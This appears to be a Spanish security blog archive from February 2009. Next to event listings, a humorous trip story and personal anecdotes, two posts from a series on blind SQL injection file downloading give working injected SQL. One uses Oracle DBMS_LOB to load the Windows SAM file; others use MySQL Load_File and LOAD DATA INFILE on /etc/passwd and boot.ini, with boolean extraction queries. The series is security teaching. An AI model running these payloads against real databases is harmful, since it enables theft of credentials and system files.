En este caso solo se puede accede a ficheros de tipo texto ya que se hace a través del driver Oracle_loader, pero, a diferencia de UTL_FILE esta función no está sujeta a la variable UTL_FILE_DIR con lo que a priori no hay ninguna restricción añadida por variables de inicio. Si bien, son necesarios los privilegios de creación de objetos y la cuenta de servicio con la que correo el servicio de la base de datos Oracle tiene que tener acceso a nivel de ficheros al archivo.

El proceso para terminar de traer el fichero sería similar al caso anterior. Booleanizar para averiguar el tamaño de las filas, el valor de los caracteres y al final borrar tabla y directorio temporal.

Acceso a ficheros binarios mediante el paquete DBMS_LOB

Para cuando se necesite acceder a ficheros binarios del sistema, como por ejemplo la sam de un sistema Microsoft Windows, podremos hacer uso de la biblioteca para Large Objects. En este caso, de forma similar a UTL_FILE, se crea un directorio y la tabla con una variable del tamaño del buffer de lectura. Después, haciendo uso de las funciones de lectura del fichero cargaremos la tabla.

; execute immediate 'Create Directory RutaSAM As ''c:\windows\repair'' '; end; --
; execute immediate 'Create table sam (datos BLOB )'; end; --
; execute immediate 'DECLARE l_bfile BFILE; l_blob BLOB;
BEGIN
INSERT INTO sam (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob;
l_bfile := BFILENAME(''RutaSAM', ''sam'');
DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile)); DBMS_LOB.fileclose(l_bfile);
COMMIT; EXCEPTION WHEN OTHERS THEN ROLLBACK; END;'; end; --


Con este procedimiento se podría cargar cualqueir fichero de cualquier tipo siempre que no superara el tamaño máximo del tipo BLOB, por lo que es una opción más recomendable que utilizar UTL_FILE. Además no tenemos la restricción de las variables de inicio.

Una vez cargado el fichero en la tabla, se podrá acceder a los datos mediante las funciones del paquete dbms_lob:

- Número de bytes: (select DBMS_LOB.getlength(datos) from sam) > valor_prueba
- Para cada byte: (select to_number(DBMS_LOB.substr(datos,1,1), 'XX') from sam) >valor_prueba

Saludos Malignos!

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

domingo, febrero 22, 2009

La lista de actividades

Aquí os dejo una larga lista de actividades para aprender “cosas de ordenadores”

- 23 de Febrero [Madrid] Adoption Days: Es un evento conducido por los evangelistas son fortificación y endurecimiento del puesto de trabajo con Windows Vista y Windows 7. Será en las oficinas de Spectra. Agenda y Registro

- 25 de Febrero [Webcast] Terminal Services: Impartido por Juan Garrido “Silverhack”. A las 16:00 de la tarde, gratis, por Internet y con todo el arte del “quillo”. Agenda y Registro

- 27 de Febrero [Madrid] Hands On Lab de Gestión de la seguridad y de Windows Server 2008: Agenda y Registro

- 2 al 6 de Marzo [Barcelona] Hands on Lab: Ultima semana de hands on lab en Barcelona hasta nueva orde. Estarán dedicados a System Center y Exchange Server 2007. Agenda y Registro

- 2 al 6 de Marzo [Sevilla] Imaginática 2k9: Una semana llena de conferencias sobre múltiples temas. Yo daré una charla el viernes a las 09:30 antes de irme a la Alcolea Party. Agenda y Registro

- 3 de Marzo [Zaragoza] Asegúr@IT V: Con 5 charlas fantásticas, cena la noche antes si te apuntas y desayuno gratis. Agenda y Registro

- 5 al 8 de Marzo [Alcolea del Río – Sevilla] Alcolea Party: Yo daré una charla el día 6 por la tarde. Agenda y Registro

- 6 de Marzo [Madrid] Hands On Lab de Internet Information Services 7.0. Agenda y Registro

- 6 de Marzo [Madrid] FTSAI III: Comienza la III Edición del FTSAI en Madrid. Todos los viernes tarde, hasta final de año, jugando con tecnologías de seguridad. 150 horas, 30 viernes del año 2009 “tirados” para jugar con seguridad informática. Agenda y Registro

Si no te pilla ninguna cerca, siempre puedes participar en los Webcasts online
Lista de Webcasts online para las próximas dos semanas:

- 23/02 - 16:00: Windows Vista Advanced Firewall
- 25/02 - 16:00: Introducción técnica a DPM 2007
- 25/02 - 16:00: Publicación TS Gateway y TS Remote APP.
- 26/02 - 16:00: Replicación en SQL 2008: Replicación P2P
- 26/02 - 16:00: Alta disponibilidad para SAP en Windows Server y SQL Server
- 26/02 - 20:00: Privacidad en Windows Vista
- 27/02 - 18:00: Windows Wireless Security
- 04/03 - 16:00: Internet Explorer en la Empresa
- 04/03 - 16:00: SQL Server Reporting Services
- 04/03 - 20:00: Green IT: Data Centers y Ahorro de Energía
- 05/03 - 16:00: Trucos y pistas para configurar KCD con ISA 2006
- 05/03 - 21:00: Instalación de Windows 7 (Beta) con Windows Deployment
- 06/03 - 21:00: Familia de Windows Server 2008

Agenda y Registro a todos y cada uno de ellos

Saludos Malignos!

sábado, febrero 21, 2009

Spectra Tahoe

Si habéis empezado la lectura de este post esperando una primicia de algún producto de Spectra por lo que habéis leído en el título estáis equivocados. Si eres de los pocos que has reconocido el nombre del producto entonces es que ya eras un enganchado a la tecnología de Spectra hace ocho años.

Tahoe era el nombre en código que utilizó Spectra para referirse a la primera versión de lo que luego sería SharePoint Portal Server 2001. Fue lanzado por las mismas fechas que Windows XP y Office XP y salió de Gira por España con el programa Technet en un roadshow de hace ya muchos, muchos años. En ese roadshow iba yo, o una versión mía de hace ocho años, para hablar en algunas ciudades sobre SharePointPortal Server 2001 y Office XP. Eran mis primeros eventos delante de tanta gente.

Hoy, con muchos kilómetros a la espalda y muchas charlas en el currículo tengo la osadía de darles algunos consejos a ponentes que técnicamente saben mucho más que yo o a nuevos chavales que se animan a dar charlas. A algunos les he visto dar su primera charla y crecer y crecer y crecer.... Pero como nadie nace sabiendo, yo también me vi un día con una primera vez y la pasé putas.

Hasta el momento había dado muchas clases en cursos, que siempre fue mi verdadera vocación, pero no había tenido en frente nunca una audiencia de más de 20-25 personas y la sola idea de ponerme subido en el escenario me atenazaba. Me dejaba sin respiración. Vamos, en pocas letras: Estaba acojonado.

Cuando te vas a subir a un escenario para hablar delante de una audiencia acaban comiéndote los mismos demonios. Esos que hacen que en el fondo nos diferenciemos casi nada del mono y casi nada del resto de los humanos. “La voy cagar”, “No me van a salir las palabras”, “Se van a dar cuenta de que no tengo ni puta idea”, “Me va a salir algo mal y se van a reír de mi”, “Se van a levantar a mitad de la charla y se van a ir dejándome avergonzado”, “Después de esta charla acaba mi carrera”….Seguro que algunos de estos han pasado por tu cabeza si te has enfrentado a una audiencia así que no te preocupes, es lo habitual.

Recuerdo aquel día como si fuera hoy, el evento era el día 17 de Mayo de 2001. Jamás olvidaré esa fecha porque la noche antes el Deportivo Alavés perdía en los penaltis la final de la copa de la UEFA contra el Liverpool en un partido emocionantísimo que mereció ganar.

Yo me sabía mis demos al dedillo, las había repasado veinte o treinta veces cada una, e intenté distraerme con el futbol. Acabado el partido, me volví a repasar las demos e intenté acostarme. Iluso. Si por un momento pensé que me iba a poder dormir se esfumaron todas mis esperanzas a los 10 minutos. Mi cerebro era una máquina de vapor a toda velocidad. Mi corazón saltaba con un mono harto de tripis. No, no iba a dormir.

A las 3 de la mañana decidí salir la calle a despejarme. El evento dónde yo iba a “debutar” era en Valencia así que pasee por las calles cubiertas de la noche valenciana durante horas. Exactamente hasta las 6 de la mañana que es a la hora a la que decidí, ya con el albor de la mañana, al hotel.

En el hotel, me duche y me repasé el afeitado con esmero para sacar después un rato que utilicé para repasar por trigésimo enésima vez las demos y las diapositivas. Me vestí con cuidado con mi traje, mi corbata y mis zapatos. Repasé el nudo de la corbata tres veces para que quedase a mi gusto y puse el ordenador dentro del maletín. Con mi pelo corto y vestido de esa guisa pocos serían capaces de reconocernos a día de hoy a mí al mí de hace ocho años si nos vieran juntos.

Llegué a la sala del hotel de Valencia, que ha sido exactamente la misma que se ha utilizado en la Gira Technet en Octubre de 2008 y me encontré con una sala llena de gente. Llena. Más de 200 personas y me tocó esperar.

Yo hablaba el tercero, así que, desde las ocho y media que llegué hasta las 11 y media más o menos que me tocaba hablar, mi mente tuvo tiempo de repasar todos los sufrimientos del infierno: Repasé las demos, repasé las diapositivas, reinicié el router, apagué el ordenador, repasé las diapositivas, repasé los miedos… uno a uno, repasé las diapositivas, repasé las demos, fui al baño ene veces a mear, cagar del miedo, mear, lavarme la cara, repasé las diapositivas, repasé las demos, reinicié el router.. Hasta que llegó el momento de subirme al escenario justo cuando un topo empezaba a roerme las tripas como si estuviese desenterrando las drogas que hubiera guardado en mi páncreas.

Subí y lo hice. Simplemente. Nadie me pegó. Nadie me disparó con una pistola. Nadie me defenestró después. Sólo subí e hice lo que había hecho antes más de mil veces. Conté lo que tenía repasado y aprendido tal y como había decidido que lo iba a contar en cada diapositiva, despacio, sin acelerarme demasiado aunque sí un poco, hice las demos que había hecho veinte millones de veces en mi mente antes, y cuando me di cuenta se había acabado.

El estado de excitación posterior suele ser como dicen por ahí que debe ser el sexo, pero sin tener que ir al baño a limpiarse. Estaba feliz.

Después de aquel día anote varias cosas mentales: La clave fue que había trabajado las diapositivas y las demos ene veces, así que, aunque pueda parecer que sí, jamás voy a una charla sin saberme el discurso completo y haber probado todas las demos. Hablar despacio y alto es mejor que acabar cuanto antes. Nadie te pegar (salvo que les mentes a su puta madre).

Hoy, ya muchos años después, seguro que hubiera cambiado muchas cosas de la charla tanto en la forma como en el fondo, pero en aquel momento lo hice lo mejor que pude, y lo único que yo podía hacer antes de subirme por primera vez a un escenario era trabajar todo lo que pudiera mi discurso y mis demos.

Saludos Malignos!

viernes, febrero 20, 2009

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

Remote File Downloading in MySQL

En las versiones de MySQL tenemos, al igual que en los motores de bases de datos de Microsoft SQL Server las dos opciones, es decir, acceder directamente al fichero en cada consulta o volcar el fichero en un tabla temporal.

Load_File: Acceso directo a fichero como cadena de bytes

La función Load_File permite acceder, en una consulta directamente a un fichero en el sistema de archivos y devuelve una cadena de bytes con el contenido del fichero. Bastaría con lanzar un comando de la forma:

Select Load_file(‘/etc/passwd’)

Con este comando se podría leer el fichero /etc/passwd que sería devuelto como una cadena de caracteres. Para evitar el problema de las aplicaciones web con filtrado de comillas se puede escribir el nombre del fichero en hexadecimal.

El límite de descarga del fichero está marcado por el valor de la constante max_allowed_packet en el motor de la base de datos y puede ser utilizada desde versiones 3.23 en adelante.

Este método está implementado en las SQLbfTools, en el comando mysqlget. Como se puede ver en la imagen, basta con configurar la URL vulnerable, cual es el fichero que se desea descargar y la keyword que aparece en las paginas True de las inyecciones a ciegas.


Descargando un /etc/passwd a través de Internet con mysqlget

Carga de fichero en tabla temporal

La otra opción, es decir, cargar el fichero en una tabla y leerlo de allí, puede ser realizada de dos formas. La primera opción sería utilizar la misma función Load_File para cargar el fichero en una columna de una tabla de la siguiente forma:

UPDATE tabla SET columna=LOAD_FILE('/tmp/file’) WHERE id=1;

Esta opción no parece añadir una mejora sustancial respecto al método anterior y más cuando aun es necesario un mayor número de privilegios en la creación de una tabla con dos columnas, la inserción de una fila con valor null para el campo blob y la actualización de la misma con el fichero.

La otra alternativa sería utilizar la función Load data infile en las versiones de MySQL 5. Esta función es la utilizada por la utilidad mysqlimport para volcar ficheros de texto dentro de tablas de la base datos. A diferencia de de Load_File no vale nada más que para ficheros de texto, pero no está limitada a max_allowed_packed por fichero sino por línea. Es decir, un fichero muy grande de texto podrá ser cargado con facilidad dentro de la base de datos. Los pasos serían:

Crear una tabla temporal con una columna para las líneas del archivo de texto.

; Create table temporal (datos varchar(max_allowed_packed))

Cargar el fichero de texto en ella

; Load data infile 'c:\\boot.ini' into table temporal

Poner una columna única para descargar el fichero cómodamente.

; alter table temporal add column num integer auto_increment unique key

Calcular el número de filas con booleanización y blind SQL Injection

and contador>(select count(num) from temporal)

Calcular la longitud de cada fila con booleanización y blind SQL Injection

and contador>(select length(datos) from temporal where num = numerodefila)

Boleanizar cada uno de los valores de cada fila

and contador>(select ASCII(substring(datos,posicion,1)) from temporal where num = numerofila)

Borrar tabla temporal

; Drop table temporal

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

jueves, febrero 19, 2009

A veces veo Renos

Ya estamos aquí de vuelta después de participar en la HackCon #4 en Oslo. Esto, que normalmente no significaría mucho ha sido un triunfo tras un viaje recompuesto a cada minuto y en el que cualquier parecido con lo que teníamos planeado una hora antes es pura coincidencia. Pero llegamos.


Viaje de vuelta

Y llegamos con una obsesión: Renos.

Después de descojonarnos recordando la historia de Gomaespuma con el Reno, “ese animal tan majestuoso”, nos dimos cuenta que los Reineers en Noruega son mucho más que un simple elemento turístico. Ya a la llegada quedaba muy gracioso ver la señal de “Cuidado con los Renos”.


No hicimos caso a las señales de aviso...

Nosotros, preocupados como estábamos por la charla no le hicimos mucho caso a las premoniciones. Llegamos el lunes a las 22:00 horas al hotel y curramos hasta, más o menos, la una de la mañana yo y hasta las cuatro Fernando, con lo que nos levantamos directos para la charla.

Por el camino nos dimos cuenta que Oslo era igual que España, con su sol, sus playas, su chiringuitos en la playa… cosa que cuando se lo dijimos en la conferencia les hizo mucha gracia y no sé por qué.

Dimos nuestra charla, nos metimos un poco con ellos, un poco con nosotros y decidimos que a las 12:30, después del cansancio acumulado del viaje, y las pocas horas de sueño, lo mejor era ir a comer algo y dormir la siesta… Y ahí empezó todo.

Fue como una premonición, sabíamos que no debíamos hacerlo, pero lo hicimos. Como en esas películas de serie B en la que estás viendo a la protagonista andar de espaldas hacia el armario y tú piensas: “Pero tía, ¡qué va a salir el asesino de ahí y te va a matar!”

Fue así, lo recuerdo a cámara lenta, con música de fondo a lo viernes 13 que yo podía oír en mi mente: “tssh, tssh, ahhh, ahhh” pero no pudimos reprimirnos:

- “Nos trae una botella de Rioja y dos Renos bien hechos”.

- “El mío que se llame Rudolf, por favor”, apostilló el Monaguillot.



El momento del renocidio

Y ahí comenzó todo, en ese momento en que nos comimos nuestro primer Reno... A partir de ahí todo fue entre tinieblas. Nos fuimos tambaleando a dormir la siesta, que, adecuándonos al horario nórdico, nos echamos de 14:00 a 17:00 horas y cuando nos levantamos… el paisaje había cambiado.

- “Vámonos, monaguillot, que a las 18:00 comienza la fiesta y hay bebida y comida gratis”.

- “Oye Chema, ¿te has fijado que en mi camiseta tengo un Reno? ¿Nos estarán persiguiendo?, ja,ja”



Inocentes de nosotros...

- “Venga Chema, ponte el batch que sin él no nos dan la priva y no te equivoques, tráete el de la Hackcon y no el de la ShmooCon que llevas en la maleta”.

- “Naa, es imposible, porque el de la ShmooCon tenía una figura.. que era…¿un Reno?”



El Reno de la ShmooCon

Nos miramos a los ojos al tiempo que el vecino del cuarto tocaba una terrorífica escala con el piano.

- “No es posible, si tengo un muñequito colgado de mi mochila con el log de la ShmooCon y yo juraría que …”


Otro reno más

Pero ahí estaba, otro Reno, mirándome con cara malvada. Por un momento pude ver como salían llamas de los cuernos y juraría que hasta le vi sonreír. El pánico se apoderó de nosotros y salimos corriendo de la habitación. No había nadie en el pasillo, no había nadie en el ascensor. Ya no estaban las rubias en minifalda como solían en la calle, y se podía ver un paisaje post-apocalíptico. Algo había sucedido.


Paisaje postapocalíptico de Oslo. Normalmente hay sol y buen tiempo...

Corrimos hasta el lugar de la conferencia, a refugiarnos en el calor de los cálidos vapores de la fiesta de la conferencia. Todo se volvió turbio y no sabemos cómo, aparecimos en New Jersey.

- “Yo he estado aquí Fernando, no te preocupes, sólo tenemos que ir a esa carnicería, a Satriale’s regentada por italianos y preguntar por la entrada al Bada Bing..”

- “¿Pero qué dices? ¡Estoy acojonado tío! ¡¡¿qué nos está pasando?!!”

- “Tranquilo, tú sígueme, sólo tenemos que pedir un favor a Tony y él nos ayudará a regresar sanos y salvos”


Tony no estaba, pero nos pudo atender Silvio.


- “Tranquilos chicos, el jefe no está, pero yo os puedo ayudar ¿capicce?”

De repente.. perdí el conocimiento y todo giró.. todo giró… y me desperté en un avión de Spanair… con los avisos de aterrizaje.

- “¿Chema? ¿Estás bien? Has venido moviéndote mucho…”

- “¿Eh?, sí, perdona…¿Dónde estamos?”

- “Estamos llegando a casa.. a Madrid. Oye, me ha gustado mucho la experiencia, pero tendría que aprender más de bases de datos… ¿qué me recomiendas?”

- “Bueno, lo mejor es que aprendas bien la teoría del diseño de bases de datos. Ya sabes, las normalización, con sus formas normales de Boyce Codd, etc.. yo recuerdo un libro que traía una herramienta para aprender bien a normalizar. Con esa herramienta tú creas las dependencias funcionales, y el programa, aplicando sistemas de reducción te genera las tablas para que se cumpla hasta la 3FN o la 5FN, ya no recuerdo, porque la 4FN y la 5FN eran para bases de datos multi evaluadas y no sé si estaban en el programilla, pero te busco el libro”.


Hoy he buscado el libro y me he dado cuenta de que todo sucedió realmente. Desde que comimos el Reno sellamos una maldición que nos perseguirá. Ahora, mientras escribo este post y sé que mi destino está sellado, he visto el recuerdo que me he traído de Oslo. Sí, es un Reno.


La maldición del Reno

Ya oigo sus pisadas, las cuatro, viene a por mí. Casi puedo sentir su aliento, ver su mirada asesina, ahí llega, noto sus cuernos golpeando la puerta, está aquí. Nunca debí comerme ese reno, aunque he de confesar que estaba riquísimo…. Me voy a enfrentar a mi destino….

Saludos Malignos!

miércoles, febrero 18, 2009

El post diario

“¿Cómo haces para poner un post diario en el blog?” Esa pregunta me la han hecho varias veces y recientemente por sorpresa, por la espalda y en el AVE, así que como prometí contestar (me deberás una compensación), aquí va la respuesta.

Conseguir escribir a diario se basa en la autodisciplina de forzarte a ponerlo en forma de letras, sólo eso. Por mi cabeza, y supongo que por la de todos pasan cientos de ideas, pensamientos o curiosidades a diario y el único secreto es tener la disciplina de ponerlo por escrito.

Suelo tener varios archivos txt con apuntes sobre cosas que me han gustado, que quiero probar, dibujar o sobre las que debo investigar. Artículos que quiero escribir o que quiero proponer a una revista y que cuando tengo un minuto me pongo a ello.

Claro, el truco está en que El Lado del Mal no es un blog técnico, ni un blog de noticias, ni un blog de la tira de No Lusers, ni un blog de nada en particular. Es un batiburrillo de cosas que sirve de desagüe a todo lo que se me pasa por la cabeza. Cómo yo soy un perturbado que tengo ideas de lo más dispares no suele ser un problema el tener alguna “basura” que desaguar en el blog y lo que más me cuesta a veces es, simplemente, encontrar el minuto necesario y la conexión a Internet para publicarlo.

Teniendo en cuenta que lo que yo posteo suele seguir esta distribución de contenidos me dice mucho de la gente que lo lee.

“Yo leo tu blog”, dice content@.

Y yo pienso: “Mira, otr@ rar@ por el mundo que anda suelto”

Porque con esto de los blogs dónde los contenidos son gratuitos y puedes elegir que leer, debes tener o mucho aburrimiento o estar muy perdid@ por el mundo para que te interese saber cómo hago para publicar a diario.

Además, puede ser perjudicial decir eso alegremente por ahí. Recuerdo una anecdota de un enfermolector que me contó que lo dijo en una entrevista de trabajo y le echaron de ahí ipso-facto....

Saludos Malignos!

martes, febrero 17, 2009

Mierda Blanca

Son las 12 y mucho de la noche. Estamos en Oslo. Llegamos a las 22:00 al hotel y nos pusimos manos a la obra con las diapos y las slides. Llegado al hotel he visto que mi nombre en Noruego se escribe muy distinto:


JodeMariacarino

Desde que llegamos a Copenague no hemos visto más que nieve y nieve y... cómo no... nos hemos acordado de los grandes Gomaespuma.

Tal vez muchos no hayan oido nunca a ese par de dos en el programa de radio, pero durante más de 5 años fueron parte de mis mañanas haciendome hasta llorar de risa. Una vez, conduciendo, tuve que parar el coche en el arcén para escuchar la historia de Cómo darle una pastilla a un gato. Otras clásicas son la carta a Papa Noel y, cómo no, la historia del estudiante que se va de Erasmus a Helsinki.

Hoy, recordándo los momentos de Gomaespuma en la radio hemos reido largo y tendido, y no me puedo resistir a poneros la carta de la "mierda blanca".

10 de Octubre

¡Hola! ¿Cómo va todo por ahí? Yo fenomenal. Hace un par de días que llegué a Helsinki. Tendríais que estar aquí, ¡esto es una pasada! Bajé del avión y estaba nevando. ¡La nieve es tan bonita! Parece algodón blanco. Esto está precioso, todo nevado. Eso sí, aquí hace bastante frío, pero me he comprado un abrigo fenomenal. ¡Es tan calentito!

Ya estoy instalado en casa de Fruder. ¿Sabéis lo que me pasó? De camino aquí apareció por la carretera un reno. ¡Qué cosa más bonita! En mi vida he visto animal más majestuoso. Parecía sacado de un cuento. Al llegar aquí resbalé con el hielo bajando la maleta del taxi. ¡Ja ja ja! Está todo helado, ¡es tan divertido!

Decía que estoy en casa de Fruder. Me ha dejado un coche para que vaya todos los días a la universidad., ¿no es fantástico? Ayer por la mañana, cuando fui a sacar el coche del garaje, me encontré con que había nevado por la noche, y tuve que quitar el montón de nieve con una pala. ¡Era tan auténtico! ¡Me sentía Doctor en Alaska!

Esto es fenomenal, me encantaría que estuvieseis aquí. Os envío una postal para que podáis admirar el paisaje, que parece salido de un cuento de Dickens. Creo que me he reconciliado con el mundo. Besos.

Volveré a escribir.


20 de Marzo

Esto es una mierda. Estoy hasta los cojones de este sitio. Esto es como el infierno pero con el aire acondicionado a toda hostia. ¿Quién coño me mandaría meterme aquí? ¡Te lo dije, mamá! Aunque os parezca mentira, aquí el termómetro no sube de cero. ¿En qué cabeza cabe? Por cierto, ¿qué tal las fallas? Bien ¿no? cabrones… Aquí no hace más que caer nieve todo el puto día. ¿Qué digo nieve?; mierda blanca, porque esto es mierda blanca.

Esta mañana, después de media hora de intentar arrancar el jodido coche (se había helado hasta la dirección), abro la puerta y ¿qué me encuentro? Pues lo de todos los mismo putos días: una tonelada de mierda blanca. El médico me ha dicho que me deje de jugar con la palita, que como se me vuelva a enganchar la espalda me voy a quedar paralítico. Desde que hace un mes pequé un resbalón en el hielo (mierda transparente) y me saqué una vértebra del sitio, lo estoy pasando fatal.

Luego, de camino a la universidad, he atropellado un puto reno. El cabrón se ha cruzado sin avisar. El reno, en mi vida he visto animal más hijo de puta… Y encima, ¡que te crees tú que me lo he cargado! El cabrón ha salido por patas mientras yo me quedaba en mitad de la nada con el radiador reventado. Los veinte kilómetros andando por la nieve me han dejado bien jodido. Los mocos se confunden con las lágrimas que ruedan por mis mejillas mientras os escribo estas líneas. No sabéis las ganas que tengo de volver. Estoy hasta los cojones de este puto lugar. Tengo ganas de llegar a casa y quitarme la mierda de abrigo que llevo encima desde Octubre y que ya empieza a apestar. Un abrazo a todos. Os quiero.

PD: Estoy pensando en suicidarme.


Saludos Malignos!

lunes, febrero 16, 2009

Más frío que...

Pensándolo dos veces.. creo que no ha sido una buena idea. Normalmente l@s norueg@s visitan España en el mejor momento del año, es decir, en pleno veranito, con las playitas calentitas y el agüita con buena temperatura para bañarse a gusto. Aprovechan para disfrutar de las islas Canarias y de las Islas Baleares, de la Costa Brava, la Costa Blanca, de las playitas de Murcia y la Manga o de las costas infinitas que van desde Almería hasta Huelva llenas de chicas españolas o machotes ibéricos luciendo cuerpos en bikinis o faltriquera marcapaquete.

¿Y nosotros que hacemos? Nosotros nos vamos a una conferencia de Hackers noruegos en Febrero, que debe hacer más frio que cazando pingüinos en calzoncillos…. ¡Manda cohones!

El caso es que así es el calendario que tenemos cerrado, y tras disfrutar de la compañía de Obama, nos vamos a la Hackcon #4 a dar una charla que daremos mañana por la tarde. Salimos hoy de viaje, cantamos mañana, salimos de cena y a festejarlo y el miércoles estamos de vuelta. Nos lo montamos peor que un pingüino borracho en una fiesta de focas asesinas.

Cómo buen enfermo que es uno, aprovecharé para ver varias charlas y contaros algunas de ellas y también para llegar a tiempo de ir a ver las FIST en Madrid.

¿No es eso lo que todos querríamos? ¿Ir a Noruega corriendo, en pleno mes del frio, y volver corriendo para ver otra conferencia de seguridad en Madrid?.

Creo que me voy lo voy a hacer mirar…

Saludos Malignos!

PD: Menos mal que ahora mi Messenger viene con juegos educativos en la publicidad


Publicidad educativa en el Messenger

domingo, febrero 15, 2009

FIST, Adoption Day y Asegúr@IT V

La Gira de Seguridad 2009 ya ha terminado. Han sido 10 ciudades con más de 1.200 asistentes y muchos kilómetros de carretera. El sabor de boca que nos ha dejado la sesión ha sido bueno, pero ya hay que pensar en las siguientes actividades.

Las FIST en Madrid

El próximo Jueves 19 de Febrero de 18:00 a 21:00 horas, en Madrid, tendrán lugar las FIST, ciclo de conferencias guiado por varios veteranos en esto de la seguridad que llevan años organizándolas para todo el mundo. En esta edición hablarán tres pájaros de cuidado tras la presentación de Vicente Aceituno de ISSA.

En primmer lugar hablará Alejandro (Operador) Martín, compañero de I64 con un trabajo sobre métricas de seguridad en redes Wifi. La pregunta en la que se basa el trabajo es: "¿Cuanto de inseguro está un usuario legítimo en una red WiFi legítima pero insegura?" Aplicando una métrica de seguridad se ha desarrollado una herramienta que permite establecer la situación de seguridad de esta red Wifi.

En segundo lugar hablará Alberto Moreno Tablado, (Gospel), que después de una temporada de andadura por los mundos de díos ha vuelto para empezar el año reportando vulnerabilidades en sistemas operativos móviles. Hablará sobre eso, sobre la seguridad en Windows Mobile y será un gustazo verle de nuevo "cantando".

Para acabar la tarde, David Carrasco hablará sobre Network Access Control y su implementación en Microsoft con Windows Server 2008 y Windows 7.

Será una tarde interesante, y buen anticipo de un jueves para tomar luego un algo. Si quieres asistir no olvides registrarte en la siguiente URL: http://www.fistconference.org/?s=8&id=15

Adoption Day: Hardening Windows en Madrid

Tanto de Windows Vista como de Windows 7 irá está sesión que tendrá lugar en Madrid el día 23 de Febrero. Será una sesión dedicada a conocer las políticas de Endurecimiento de la seguridad y defensa en profundidad de las plataformas Windows y en ella estarán hablando nuestros querios evangelistos "Golfo" Paulo y el Primo Guillot (monaguillot).

Puedes apuntarte en la siguiente URL: 23 F, Windows Vista Adoption Day

Asegúr@IT V en Zaragoza

Y, ya lo sabéis, el próximo 3 de Marzo en Zaragoza tendrá lugar el Asegúr@IT V con cinco charlas de seguridad en las que participarán Pedro Sánchez, Carles Martín, Alejandro (operador) Martín, David Carrasco y José "el abuelo" Parada.

Toda la info (incluida la noche antes) en la siguiente URL: Asegúr@IT V

Saludos Malignos!

sábado, febrero 14, 2009

La importancia de lo importante

Aun recuerdo el momento con nervios. Tenía cerca cumplir los 20 años y me puse en mis mejores galas, lo cual no quería decir demasiado. Un traje marrón, una camisa de vestir amarilla y una corbata prestada de mi padre. Me había afeitado con esmero intentando parecer lo más pulcro posible y, como siempre, tenía la cara sonrosada de la cuchilla. Nunca he tenido una piel de la cara fuerte y cada vez que me afeitaba me sucedía lo mismo, durante horas se me quedaba la cara mofletuda y con ronchones rositas.

Era normal que estuviera nervioso, me enfrentaba a mi primera entrevista de trabajo que tenía que ver con ordenadores. Hasta el momento mis experiencias laborales se reducían a trabajar los fines de semana y los veranos como ayudante de pintor y barnizador de mi padre, al verano que trabajé de albañil tras acabar la enseñanza media y a las clases particulares que impartía por las tardes y los fines de semana de matemáticas, física y química. Esto era distinto, era una entrevista para ser técnico de soporte en una empresa.

Ni que decir tiene que aun no había terminado mis estudios, pero en aquellos momentos en España el tener una entrevista de trabajo era bastante difícil. Recuerdo que había una campaña de televisión en la que salía un joven dando vueltas alrededor de un círculo y en todas las puertas ponía “Se necesita experiencia”. En aquel momento yo no la tenía.

Llegué al edificio dónde iba a tener lugar la experiencia. Era un edificio precioso, moderno, bonito y en aquel momento sus más de 12 plantas me parecieron un rascacielos. Llegué a la recepcionista y le di mi nombre y el nombre de la persona que venía a ver para la entrevista con una voz temblorosa. Tenía calor, frio y me estaba meando con muchas ganas. Joder, lo que hacían los nervios.

Subí a una planta y me hicieron esperar en una de esas sillas que están pegadas a la pared durante unos quince minutos. Después vino a por mí la persona que iba a entrevistarme. No recuerdo su cara. He intentado muchas veces acordarme de algún rasgo de él, pero soy completamente incapaz de recordar sus rasgos. Sólo recuerdo que era educadamente simpático.

Me llevó a una mesa llena de papeles, no en un despacho, sino en las típicas plantas de informáticos, dónde en una superficie grande se desparraman mesas con ordenadores que se mezclan con papeles, disquetes en aquel entonces y componentes averiados. En una esquina de la mesa que él limpio, sacó un papel para tomar notas.

Me preguntó mi nombre, mi edad, mis estudios y yo le fui contestando todo lo bien que fui capaz. Después, llegó la parte técnica de la entrevista:

- “Bueno, vamos con alguna pregunta técnica para ver qué nivel tienes. Cuéntame, ¿qué tipos de redes existen?”

En ese momento me quedé con la cara de una vaca que ve pasar el tren por delante….

- “No sé bien a qué se refiere, ¿redes LAN, MAN y WAN?”

Sonrió con educación y me dijo:

- “No, no, perdona, me refiero a qué redes existen en función de su direccionamiento IP, cómo se clasifican”

El tiempo pasó lento, muy lento, infinitamente lento. Los tres segundos que tardé en tomar conciencia de que no tenía ni puta idea de lo que me preguntaba y decidir cómo se lo iba a decir fueron siglos.

Después de ponerme rojo de pura vergüenza técnica le dije que no sabía, que no lo había estudiado. Él me dijo que no me preocupara y se dignó a hacerme la famosa tablita que todos conocéis.


Clasificación redes en función de IP

